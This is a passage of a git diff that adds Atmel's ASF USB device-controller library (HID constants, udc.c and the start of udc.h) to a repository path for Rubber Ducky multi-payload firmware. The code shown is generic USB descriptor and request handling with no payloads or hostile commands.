HID_MODIFIER_LEFT_UI 0x08 +#define HID_MODIFIER_RIGHT_CTRL 0x10 +#define HID_MODIFIER_RIGHT_SHIFT 0x20 +#define HID_MODIFIER_RIGHT_ALT 0x40 +#define HID_MODIFIER_RIGHT_UI 0x80 + //! @} +//! @} + +//! \name HID KEYS values +//! @{ +#define HID_LED_NUM_LOCK (1<<0) +#define HID_LED_CAPS_LOCK (1<<1) +#define HID_LED_SCROLL_LOCK (1<<2) +#define HID_LED_COMPOSE (1<<3) +#define HID_LED_KANA (1<<4) +//! @} + +#endif // _USB_PROTOCOL_HID_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udc.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udc.c new file mode 100644 index 0000000..931fc25 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udc.c @@ -0,0 +1,1010 @@ +/** + * \file + * + * \brief USB Device Controller (UDC) + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udd.h" +#include "udc_desc.h" +#include "udi.h" +#include "udc.h" + +/** + * \addtogroup udc_group + * @{ + */ + +//! \name Internal variables to manage the USB device +//! @{ + +//! Device status state (see enum usb_device_status in usb_protocol.h) +static le16_t udc_device_status; +//! Device Configuration number selected by the USB host +static uint8_t udc_num_configuration = 0; +//! Pointer on the selected speed device configuration +static udc_config_speed_t UDC_DESC_STORAGE *udc_ptr_conf; +//! Pointer on interface descriptor used by SETUP request. +static usb_iface_desc_t UDC_DESC_STORAGE *udc_ptr_iface; + +//! @} + + +//! \name Internal structure to store the USB device main strings +//! @{ + +/** + * \brief Language ID of USB device (US ID by default) + */ +static UDC_DESC_STORAGE usb_str_lgid_desc_t udc_string_desc_languageid = { + .desc.bLength = sizeof(usb_str_lgid_desc_t), + .desc.bDescriptorType = USB_DT_STRING, + .string = {LE16(USB_LANGID_EN_US)} +}; + +/** + * \brief USB device manufacture name storage + * String is allocated only if USB_DEVICE_MANUFACTURE_NAME is declared + * by usb application configuration + */ +#ifdef USB_DEVICE_MANUFACTURE_NAME +static uint8_t udc_string_manufacturer_name[] = USB_DEVICE_MANUFACTURE_NAME; +#define USB_DEVICE_MANUFACTURE_NAME_SIZE (sizeof(udc_string_manufacturer_name)-1) +#else +#define USB_DEVICE_MANUFACTURE_NAME_SIZE 0 +#endif + + +/** + * \brief USB device product name storage + * String is allocated only if USB_DEVICE_PRODUCT_NAME is declared + * by usb application configuration + */ +#ifdef USB_DEVICE_PRODUCT_NAME +static uint8_t udc_string_product_name[] = USB_DEVICE_PRODUCT_NAME; +#define USB_DEVICE_PRODUCT_NAME_SIZE (sizeof(udc_string_product_name)-1) +#else +#define USB_DEVICE_PRODUCT_NAME_SIZE 0 +#endif + +/** + * \brief USB device serial number storage + * String is allocated only if USB_DEVICE_SERIAL_NAME is declared + * by usb application configuration + */ +#ifdef USB_DEVICE_SERIAL_NAME +static uint8_t udc_string_serial_name[] = USB_DEVICE_SERIAL_NAME; +#define USB_DEVICE_SERIAL_NAME_SIZE (sizeof(udc_string_serial_name)-1) +#else +#define USB_DEVICE_SERIAL_NAME_SIZE 0 +#endif + + +/** + * \brief USB device string descriptor + * Structure used to transfer ASCII strings to USB String descriptor structure. + */ +struct udc_string_desc_t { + usb_str_desc_t header; + le16_t string[Max(Max(USB_DEVICE_MANUFACTURE_NAME_SIZE, \ + USB_DEVICE_PRODUCT_NAME_SIZE), USB_DEVICE_SERIAL_NAME_SIZE)]; +}; +static UDC_DESC_STORAGE struct udc_string_desc_t udc_string_desc = { + .header.bDescriptorType = USB_DT_STRING +}; +//! @} + + + +usb_iface_desc_t UDC_DESC_STORAGE *udc_get_interface_desc(void) +{ + return udc_ptr_iface; +} + +/** + * \brief Returns a value to check the end of USB Configuration descriptor + * + * \return address after the last byte of USB Configuration descriptor + */ +static usb_conf_desc_t UDC_DESC_STORAGE *udc_get_eof_conf(void) +{ + return (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) + udc_ptr_conf->desc + + le16_to_cpu(udc_ptr_conf->desc->wTotalLength)); +} + + +#if (0!=USB_DEVICE_MAX_EP) +/** + * \brief Search specific descriptor in global interface descriptor + * + * \param desc Address of interface descriptor + * or previous specific descriptor found + * \param desc_id Descriptor ID to search + * + * \return address of specific descriptor found + * \return NULL if it is the end of global interface descriptor + */ +static usb_conf_desc_t UDC_DESC_STORAGE *udc_next_desc_in_iface(usb_conf_desc_t + UDC_DESC_STORAGE * desc, uint8_t desc_id) +{ + usb_conf_desc_t UDC_DESC_STORAGE *ptr_eof_desc; + + ptr_eof_desc = udc_get_eof_conf(); + // Go to next descriptor + desc = (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) desc + + desc->bLength); + // Check the end of configuration descriptor + while (ptr_eof_desc > desc) { + // If new interface descriptor is found, + // then it is the end of the current global interface descriptor + if (USB_DT_INTERFACE == desc->bDescriptorType) + break; // End of global interface descriptor + if (desc_id == desc->bDescriptorType) + return desc; // Specific descriptor found + // Go to next descriptor + desc = (UDC_DESC_STORAGE usb_conf_desc_t *) ((uint8_t *) desc + + desc->bLength); + } + return NULL; // No specific descriptor found +} +#endif + + +/** + * \brief Search an interface descriptor + * This routine updates the internal pointer udc_ptr_iface. + * + * \param iface_num Interface number to find in Configuration Descriptor + * \param setting_num Setting number of interface to find + * + * \return 1 if found or 0 if not found + */ +static bool udc_update_iface_desc(uint8_t iface_num, uint8_t setting_num) +{ + usb_conf_desc_t UDC_DESC_STORAGE *ptr_end_desc; + + if (0 == udc_num_configuration) + return false; + + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) + return false; + + // Start at the beginning of configuration descriptor + udc_ptr_iface = (UDC_DESC_STORAGE usb_iface_desc_t *) + udc_ptr_conf->desc; + + // Check the end of configuration descriptor + ptr_end_desc = udc_get_eof_conf(); + while (ptr_end_desc > + (UDC_DESC_STORAGE usb_conf_desc_t *) udc_ptr_iface) { + if (USB_DT_INTERFACE == udc_ptr_iface->bDescriptorType) { + // A interface descriptor is found + // Check interface and alternate setting number + if ((iface_num == udc_ptr_iface->bInterfaceNumber) + && (setting_num == + udc_ptr_iface-> + bAlternateSetting)) + return true; // Interface found + } + // Go to next descriptor + udc_ptr_iface = (UDC_DESC_STORAGE usb_iface_desc_t *) ((uint8_t + *) udc_ptr_iface + + udc_ptr_iface->bLength); + } + return false; // Interface not found +} + + +/** + * \brief Disables an usb device interface (UDI) + * This routine call the UDI corresponding to interface number + * + * \param iface_num Interface number to disable + * + * \return 1 if it is done or 0 if interface is not found + */ +static bool udc_iface_disable(uint8_t iface_num) +{ + udi_api_t UDC_DESC_STORAGE *udi_api; + + // Select first alternate setting of the interface to update udc_ptr_iface + // before call iface->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) + return false; + + // Select the interface with the current alternate setting + udi_api = udc_ptr_conf->udi_apis[iface_num]; + +#if (0!=USB_DEVICE_MAX_EP) + if (!udc_update_iface_desc(iface_num, udi_api->getsetting())) + return false; + + // Start at the beginning of interface descriptor + { + usb_ep_desc_t UDC_DESC_STORAGE *ep_desc; + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) udc_ptr_iface; + while (1) { + // Search Endpoint descriptor included in global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) + udc_next_desc_in_iface((UDC_DESC_STORAGE + usb_conf_desc_t *) + ep_desc, USB_DT_ENDPOINT); + if (NULL == ep_desc) + break; + // Free the endpoint used by the interface + udd_ep_free(ep_desc->bEndpointAddress); + } + } +#endif + + // Disable interface + udi_api->disable(); + return true; +} + + +/** + * \brief Enables an usb device interface (UDI) + * This routine calls the UDI corresponding + * to the interface and setting number. + * + * \param iface_num Interface number to enable + * \param setting_num Setting number to enable + * + * \return 1 if it is done or 0 if interface is not found + */ +static bool udc_iface_enable(uint8_t iface_num, uint8_t setting_num) +{ + // Select the interface descriptor + if (!udc_update_iface_desc(iface_num, setting_num)) + return false; + +#if (0!=USB_DEVICE_MAX_EP) + usb_ep_desc_t UDC_DESC_STORAGE *ep_desc; + + // Start at the beginning of the global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) udc_ptr_iface; + while (1) { + // Search Endpoint descriptor included in the global interface descriptor + ep_desc = (UDC_DESC_STORAGE usb_ep_desc_t *) + udc_next_desc_in_iface((UDC_DESC_STORAGE + usb_conf_desc_t *) ep_desc, + USB_DT_ENDPOINT); + if (NULL == ep_desc) + break; + // Alloc the endpoint used by the interface + if (!udd_ep_alloc(ep_desc->bEndpointAddress, + ep_desc->bmAttributes, + le16_to_cpu + (ep_desc->wMaxPacketSize))) + return false; + } +#endif + // Enable the interface + return udc_ptr_conf->udi_apis[iface_num]->enable(); +} + + +/** + * \brief Reset the current configuration of the USB device, + * This routines can be called by UDD when a RESET on the USB line occurs. + */ +void udc_reset(void) +{ + uint8_t iface_num; + + if (udc_num_configuration) { + for (iface_num = 0; + iface_num < udc_ptr_conf->desc->bNumInterfaces; + iface_num++) { + udc_iface_disable(iface_num); + } + } + udc_num_configuration = 0; +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + if (0 != (CPU_TO_LE16(USB_DEV_STATUS_REMOTEWAKEUP) & udc_device_status)) { + // Remote wakeup is enabled then disable it + UDC_REMOTEWAKEUP_DISABLE(); + } +#endif + udc_device_status = +#if (USB_DEVICE_ATTR & USB_CONFIG_ATTR_SELF_POWERED) + CPU_TO_LE16(USB_DEV_STATUS_SELF_POWERED); +#else + CPU_TO_LE16(USB_DEV_STATUS_BUS_POWERED); +#endif +} + + +/** + * \brief Standard device request to get device status + * + * \return true if success + */ +static bool udc_req_std_dev_get_status(void) +{ + if (udd_g_ctrlreq.req.wLength != sizeof(udc_device_status)) + return false; + + udd_set_setup_payload( + (uint8_t *) & udc_device_status, + sizeof(udc_device_status)); + return true; +} + + +#if (0!=USB_DEVICE_MAX_EP) +/** + * \brief Standard endpoint request to get endpoint status + * + * \return true if success + */ +static bool udc_req_std_ep_get_status(void) +{ + static le16_t udc_ep_status; + + if (udd_g_ctrlreq.req.wLength != sizeof(udc_ep_status)) + return false; + + udc_ep_status = udd_ep_is_halted(udd_g_ctrlreq.req. + wIndex & 0xFF) ? CPU_TO_LE16(USB_EP_STATUS_HALTED) : 0; + + udd_set_setup_payload( + (uint8_t *) & udc_ep_status, + sizeof(udc_ep_status)); + return true; +} +#endif + +/** + * \brief Standard device request to change device status + * + * \return true if success + */ +static bool udc_req_std_dev_clear_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + + if (udd_g_ctrlreq.req.wValue == USB_DEV_FEATURE_REMOTE_WAKEUP) { + udc_device_status &= CPU_TO_LE16(~USB_DEV_STATUS_REMOTEWAKEUP); +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + UDC_REMOTEWAKEUP_DISABLE(); +#endif + return true; + } + return false; +} + + +#if (0!=USB_DEVICE_MAX_EP) +/** + * \brief Standard endpoint request to clear endpoint feature + * + * \return true if success + */ +static bool udc_req_std_ep_clear_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + + if (udd_g_ctrlreq.req.wValue == USB_EP_FEATURE_HALT) { + return udd_ep_clear_halt(udd_g_ctrlreq.req.wIndex & 0xFF); + } + return false; +} +#endif + + +/** + * \brief Standard device request to set a feature + * + * \return true if success + */ +static bool udc_req_std_dev_set_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + + switch (udd_g_ctrlreq.req.wValue) { + + case USB_DEV_FEATURE_REMOTE_WAKEUP: +#if (USB_CONFIG_ATTR_REMOTE_WAKEUP \ + == (USB_DEVICE_ATTR & USB_CONFIG_ATTR_REMOTE_WAKEUP)) + udc_device_status |= CPU_TO_LE16(USB_DEV_STATUS_REMOTEWAKEUP); + UDC_REMOTEWAKEUP_ENABLE(); + return true; +#else + return false; +#endif + +#ifdef USB_DEVICE_HS_SUPPORT + case USB_DEV_FEATURE_TEST_MODE: + if (!udd_is_high_speed()) + break; + if (udd_g_ctrlreq.req.wIndex & 0xff) + break; + // Unconfigure the device, terminating all ongoing requests + udc_reset(); + switch ((udd_g_ctrlreq.req.wIndex >> 8) & 0xFF) { + case USB_DEV_TEST_MODE_J: + udd_g_ctrlreq.callback = udd_test_mode_j; + return true; + + case USB_DEV_TEST_MODE_K: + udd_g_ctrlreq.callback = udd_test_mode_k; + return true; + + case USB_DEV_TEST_MODE_SE0_NAK: + udd_g_ctrlreq.callback = udd_test_mode_se0_nak; + return true; + + case USB_DEV_TEST_MODE_PACKET: + udd_g_ctrlreq.callback = udd_test_mode_packet; + return true; + + case USB_DEV_TEST_MODE_FORCE_ENABLE: // Only for downstream facing hub ports + default: + break; + } + break; +#endif + +#ifdef USB_OTG + // TODO + case USB_DEV_FEATURE_OTG_B_HNP_ENABLE: + break; + case USB_DEV_FEATURE_OTG_A_HNP_SUPPORT: + break; + case USB_DEV_FEATURE_OTG_A_ALT_HNP_SUPPORT: + break; +#endif + } + return false; +} + + +/** + * \brief Standard endpoint request to halt an endpoint + * + * \return true if success + */ +#if (0!=USB_DEVICE_MAX_EP) +static bool udc_req_std_epset_feature(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + if (udd_g_ctrlreq.req.wValue == USB_EP_FEATURE_HALT) { + return udd_ep_set_halt(udd_g_ctrlreq.req.wIndex & 0xFF); + } + return false; +} +#endif + +/** + * \brief Change the address of device + * Callback called at the end of request set address + */ +static void udc_valid_address(void) +{ + udd_set_address(udd_g_ctrlreq.req.wValue & 0x7F); +} + + +/** + * \brief Standard device request to set device address + * + * \return true if success + */ +static bool udc_req_std_dev_set_address(void) +{ + if (udd_g_ctrlreq.req.wLength != 0) + return false; + + // The address must be changed at the end of setup request after the handshake + // then we use a callback to change address + udd_g_ctrlreq.callback = udc_valid_address; + return true; +} + + +/** + * \brief Standard device request to get device string descriptor + * + * \return true if success + */ +static bool udc_req_std_dev_get_str_desc(void) +{ + uint8_t i; + uint8_t *str; + uint8_t str_lgt=0; + + // Link payload pointer to the string corresponding at request + switch (udd_g_ctrlreq.req.wValue & 0xff) { + case 0: + udd_set_setup_payload( + (uint8_t *) & udc_string_desc_languageid, + sizeof(udc_string_desc_languageid)); + break; + +#ifdef USB_DEVICE_MANUFACTURE_NAME + case 1: + str_lgt = USB_DEVICE_MANUFACTURE_NAME_SIZE; + str = udc_string_manufacturer_name; + break; +#endif +#ifdef USB_DEVICE_PRODUCT_NAME + case 2: + str_lgt = USB_DEVICE_PRODUCT_NAME_SIZE; + str = udc_string_product_name; + break; +#endif +#ifdef USB_DEVICE_SERIAL_NAME + case 3: + str_lgt = USB_DEVICE_SERIAL_NAME_SIZE; + str = udc_string_serial_name; + break; +#endif + default: +#ifdef UDC_GET_EXTRA_STRING + if (UDC_GET_EXTRA_STRING()) + break; +#endif + return false; + } + + if (str_lgt != 0) { + for(i = 0; i < str_lgt; i++) { + udc_string_desc.string[i] = cpu_to_le16((le16_t)str[i]); + } + + udc_string_desc.header.bLength = 2 + (str_lgt) * 2; + udd_set_setup_payload( + (uint8_t *) &udc_string_desc, + udc_string_desc.header.bLength); + } + + return true; +} + + +/** + * \brief Standard device request to get descriptors about USB device + * + * \return true if success + */ +static bool udc_req_std_dev_get_descriptor(void) +{ + uint8_t conf_num; + + conf_num = udd_g_ctrlreq.req.wValue & 0xff; + + // Check descriptor ID + switch ((uint8_t) (udd_g_ctrlreq.req.wValue >> 8)) { + case USB_DT_DEVICE: + // Device descriptor requested +#ifdef USB_DEVICE_HS_SUPPORT + if (!udd_is_high_speed()) { + udd_set_setup_payload( + (uint8_t *) udc_config.confdev_hs, + udc_config.confdev_hs->bLength); + } else +#endif + { + udd_set_setup_payload( + (uint8_t *) udc_config.confdev_lsfs, + udc_config.confdev_lsfs->bLength); + } + break; + + case USB_DT_CONFIGURATION: + // Configuration descriptor requested +#ifdef USB_DEVICE_HS_SUPPORT + if (udd_is_high_speed()) { + // HS descriptor + if (conf_num >= udc_config.confdev_hs-> + bNumConfigurations) + return false; + udd_set_setup_payload( + (uint8_t *)udc_config.conf_hs[conf_num].desc, + le16_to_cpu(udc_config.conf_hs[conf_num].desc->wTotalLength)); + } else +#endif + { + // FS descriptor + if (conf_num >= udc_config.confdev_lsfs-> + bNumConfigurations) + return false; + udd_set_setup_payload( + (uint8_t *)udc_config.conf_lsfs[conf_num].desc, + le16_to_cpu(udc_config.conf_lsfs[conf_num].desc->wTotalLength)); + } + ((usb_conf_desc_t *) udd_g_ctrlreq.payload)->bDescriptorType = + USB_DT_CONFIGURATION; + break; + +#ifdef USB_DEVICE_HS_SUPPORT + case USB_DT_DEVICE_QUALIFIER: + // Device qualifier descriptor requested + udd_set_setup_payload( + (uint8_t *) udc_config.qualifier, + udc_config.qualifier->bLength); + break; + + case USB_DT_OTHER_SPEED_CONFIGURATION: + // Other configuration descriptor requested + if (!udd_is_high_speed()) { + // HS descriptor + if (conf_num >= udc_config.confdev_hs-> + bNumConfigurations) + return false; + udd_set_setup_payload( + (uint8_t *)udc_config.conf_hs[conf_num].desc, + le16_to_cpu(udc_config.conf_hs[conf_num].desc->wTotalLength)); + } else { + // FS descriptor + if (conf_num >= udc_config.confdev_lsfs-> + bNumConfigurations) + return false; + udd_set_setup_payload( + (uint8_t *)udc_config.conf_lsfs[conf_num].desc, + le16_to_cpu(udc_config.conf_lsfs[conf_num].desc->wTotalLength)); + } + ((usb_conf_desc_t *) udd_g_ctrlreq.payload)->bDescriptorType = + USB_DT_OTHER_SPEED_CONFIGURATION; + break; +#endif + + case USB_DT_STRING: + // String descriptor requested + if (!udc_req_std_dev_get_str_desc()) { + return false; + } + break; + + default: + // Unknown descriptor requested + return false; + } + // if the descriptor is larger than length requested, then reduce it + if (udd_g_ctrlreq.req.wLength < udd_g_ctrlreq.payload_size) + udd_g_ctrlreq.payload_size = udd_g_ctrlreq.req.wLength; + return true; +} + + +/** + * \brief Standard device request to get configuration number + * + * \return true if success + */ +static bool udc_req_std_dev_get_configuration(void) +{ + if (udd_g_ctrlreq.req.wLength != 1) + return false; + + udd_set_setup_payload(&udc_num_configuration,1); + return true; +} + + +/** + * \brief Standard device request to enable a configuration + * + * \return true if success + */ +static bool udc_req_std_dev_set_configuration(void) +{ + uint8_t iface_num; + + // Check request length + if (udd_g_ctrlreq.req.wLength != 0) + return false; + // Authorize configuration only if the address is valid + if (!udd_getaddress()) + return false; + // Check the configuration number requested +#ifdef USB_DEVICE_HS_SUPPORT + if (udd_is_high_speed()) { + // HS descriptor + if ((udd_g_ctrlreq.req.wValue & 0xFF) > + udc_config.confdev_hs->bNumConfigurations) + return false; + } else +#endif + { + // FS descriptor + if ((udd_g_ctrlreq.req.wValue & 0xFF) > + udc_config.confdev_lsfs->bNumConfigurations) + return false; + } + + // Reset current configuration + udc_reset(); + + // Enable new configuration + udc_num_configuration = udd_g_ctrlreq.req.wValue & 0xFF; + if (udc_num_configuration == 0) { + return true; // Default empty configuration requested + } + // Update pointer of the configuration descriptor +#ifdef USB_DEVICE_HS_SUPPORT + if (udd_is_high_speed()) { + // HS descriptor + udc_ptr_conf = &udc_config.conf_hs[udc_num_configuration - 1]; + } else +#endif + { + // FS descriptor + udc_ptr_conf = &udc_config.conf_lsfs[udc_num_configuration - 1]; + } + // Enable all interfaces of the selected configuration + for (iface_num = 0; iface_num < udc_ptr_conf->desc->bNumInterfaces; + iface_num++) { + if (!udc_iface_enable(iface_num, 0)) + return false; + } + return true; +} + + +/** + * \brief Standard interface request + * to get the alternate setting number of an interface + * + * \return true if success + */ +static bool udc_req_std_iface_get_setting(void) +{ + static uint8_t udc_iface_setting; + uint8_t iface_num; + udi_api_t UDC_DESC_STORAGE *udi_api; + + if (udd_g_ctrlreq.req.wLength != 1) + return false; // Error in request + if (!udc_num_configuration) + return false; // The device is not is configured state yet + + // Check the interface number included in the request + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) + return false; + + // Select first alternate setting of the interface to update udc_ptr_iface + // before call iface->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) + return false; + // Get alternate setting from UDI + udi_api = udc_ptr_conf->udi_apis[iface_num]; + udc_iface_setting = udi_api->getsetting(); + // Link value to payload pointer of request + udd_set_setup_payload(&udc_iface_setting,1); + return true; +} + + +/** + * \brief Standard interface request + * to set an alternate setting of an interface + * + * \return true if success + */ +static bool udc_req_std_iface_set_setting(void) +{ + uint8_t iface_num, setting_num; + + if (udd_g_ctrlreq.req.wLength != 0) + return false; // Error in request + if (!udc_num_configuration) + return false; // The device is not is configured state yet + + + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; + setting_num = udd_g_ctrlreq.req.wValue & 0xFF; + + // Disable current setting + if (!udc_iface_disable(iface_num)) + return false; + + // Enable new setting + return udc_iface_enable(iface_num, setting_num); +} + + +/** + * \brief Main routine to manage the standard USB SETUP request + * + * \return true if the request is supported + */ +static bool udc_reqstd(void) +{ + if (Udd_setup_is_in()) { + // GET Standard Requests + if (udd_g_ctrlreq.req.wLength == 0) + return false; // Error for USB host + + if (USB_REQ_RECIP_DEVICE == Udd_setup_recipient()) { + // Standard Get Device request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_GET_STATUS: + return udc_req_std_dev_get_status(); + case USB_REQ_GET_DESCRIPTOR: + return udc_req_std_dev_get_descriptor(); + case USB_REQ_GET_CONFIGURATION: + return udc_req_std_dev_get_configuration(); + } + } + + if (USB_REQ_RECIP_INTERFACE == Udd_setup_recipient()) { + // Standard Get Interface request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_GET_INTERFACE: + return udc_req_std_iface_get_setting(); + } + } +#if (0!=USB_DEVICE_MAX_EP) + if (USB_REQ_RECIP_ENDPOINT == Udd_setup_recipient()) { + // Standard Get Endpoint request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_GET_STATUS: + return udc_req_std_ep_get_status(); + } + } +#endif + } else { + // SET Standard Requests + if (USB_REQ_RECIP_DEVICE == Udd_setup_recipient()) { + // Standard Set Device request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_SET_ADDRESS: + return udc_req_std_dev_set_address(); + case USB_REQ_CLEAR_FEATURE: + return udc_req_std_dev_clear_feature(); + case USB_REQ_SET_FEATURE: + return udc_req_std_dev_set_feature(); + case USB_REQ_SET_CONFIGURATION: + return udc_req_std_dev_set_configuration(); + case USB_REQ_SET_DESCRIPTOR: + /* Not supported (defined as optional by the USB 2.0 spec) */ + break; + } + } + + if (USB_REQ_RECIP_INTERFACE == Udd_setup_recipient()) { + // Standard Set Interface request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_SET_INTERFACE: + return udc_req_std_iface_set_setting(); + } + } +#if (0!=USB_DEVICE_MAX_EP) + if (USB_REQ_RECIP_ENDPOINT == Udd_setup_recipient()) { + // Standard Set Endpoint request + switch (udd_g_ctrlreq.req.bRequest) { + case USB_REQ_CLEAR_FEATURE: + return udc_req_std_ep_clear_feature(); + case USB_REQ_SET_FEATURE: + return udc_req_std_epset_feature(); + } + } +#endif + } + return false; +} + + +/** + * \brief Send the SETUP interface request to UDI + * + * \return true if the request is supported + */ +static bool udc_req_iface(void) +{ + uint8_t iface_num; + udi_api_t UDC_DESC_STORAGE *udi_api; + + if (0 == udc_num_configuration) + return false; // The device is not is configured state yet + // Check interface number + iface_num = udd_g_ctrlreq.req.wIndex & 0xFF; + if (iface_num >= udc_ptr_conf->desc->bNumInterfaces) + return false; + + //* To update udc_ptr_iface with the selected interface in request + // Select first alternate setting of interface to update udc_ptr_iface + // before calling udi_api->getsetting() + if (!udc_update_iface_desc(iface_num, 0)) + return false; + // Select the interface with the current alternate setting + udi_api = udc_ptr_conf->udi_apis[iface_num]; + if (!udc_update_iface_desc(iface_num, udi_api->getsetting())) + return false; + + // Send the SETUP request to the UDI corresponding to the interface number + return udi_api->setup(); +} + + +/** + * \brief Main routine to manage the USB SETUP request. + * + * This function parses a USB SETUP request and submits an appropriate + * response back to the host or, in the case of SETUP OUT requests + * with data, sets up a buffer for receiving the data payload. + * + * The main standard requests defined by the USB 2.0 standard are handled + * internally. The interface requests are sent to UDI, and the specific request + * sent to a specific application callback. + * + * \return true if the request is supported, else the request is stalled by UDD + */ +bool udc_process_setup(void) +{ + // By default no data (receive/send) and no callbacks registered + udd_g_ctrlreq.payload_size = 0; + udd_g_ctrlreq.callback = NULL; + udd_g_ctrlreq.over_under_run = NULL; + + if (Udd_setup_is_in()) { + if (udd_g_ctrlreq.req.wLength == 0) + return false; // Error from USB host + } + + // If standard request then try to decode it in UDC + if (Udd_setup_type() == USB_REQ_TYPE_STANDARD) { + if (udc_reqstd()) + return true; + } + + // If interface request then try to decode it in UDI + if (Udd_setup_recipient() == USB_REQ_RECIP_INTERFACE) { + if (udc_req_iface()) + return true; + } + + // Here SETUP request unknown by UDC and UDIs +#ifdef USB_DEVICE_SPECIFIC_REQUEST + // Try to decode it in specific callback + return USB_DEVICE_SPECIFIC_REQUEST(); // Ex: Vendor request,... +#else + return false; +#endif +} + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udc.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udc.h new file mode 100644 index 0000000..b284b3f --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/common/services/usb/udc/udc.h @@ -0,0 +1,248 @@ +/** + * \file + * + * \brief Interface of the USB Device Controller (UDC) + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDC_H_ +#define _UDC_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" +#include "udc_desc.h" +#include "udd.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup usb_device_group + * \defgroup udc_group USB Device Controller (UDC) + * + * The UDC provides a high-level abstraction of the usb device. + * You can use these functions to control the main device state + * (start/attach/wakeup). + * + * \section USB_DEVICE_CONF USB Device Custom configuration + * The following USB Device configuration must be included in the conf_usb.h + * file of the application. + * + * USB_DEVICE_VENDOR_ID (Word)
